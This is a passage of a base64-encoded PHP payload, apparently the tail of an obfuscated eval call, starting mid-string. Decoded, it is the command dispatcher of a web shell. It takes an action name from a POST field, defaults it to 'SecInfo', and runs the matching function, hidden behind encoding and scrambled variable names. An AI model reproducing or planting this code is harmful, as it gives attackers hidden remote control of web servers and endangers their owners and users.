hLCAnVVRGLTMyQkUnLCAnVVRGLTgnKTsKCiAgICAgICAgcmV0dXJuIGhleGRlYyhiaW4yaGV4KCRhbHBhcW9iYXZrKSk7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiBudWxsOwogICAgfQp9CgoKaWYgKGVtcHR5KCRfUE9TVFsnb2JrdXNwJ10pKSB7CiAgICBpZiAoaXNzZXQoJG1xdWxta3lpbSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJG1xdWxta3lpbSkpIHsKICAgICAgICAkX1BPU1RbJ29ia3VzcCddID0gJG1xdWxta3lpbTsKICAgIH0gZWxzZSB7CiAgICAgICAgJF9QT1NUWydvYmt1c3AnXSA9ICdTZWNJbmZvJzsKICAgIH0KfQppZiAoIWVtcHR5KCRfUE9TVFsnb2JrdXNwJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnb2JrdXNwJ10pKSB7CiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnb2JrdXNwJ10pOwp9CmV4aXQ7'));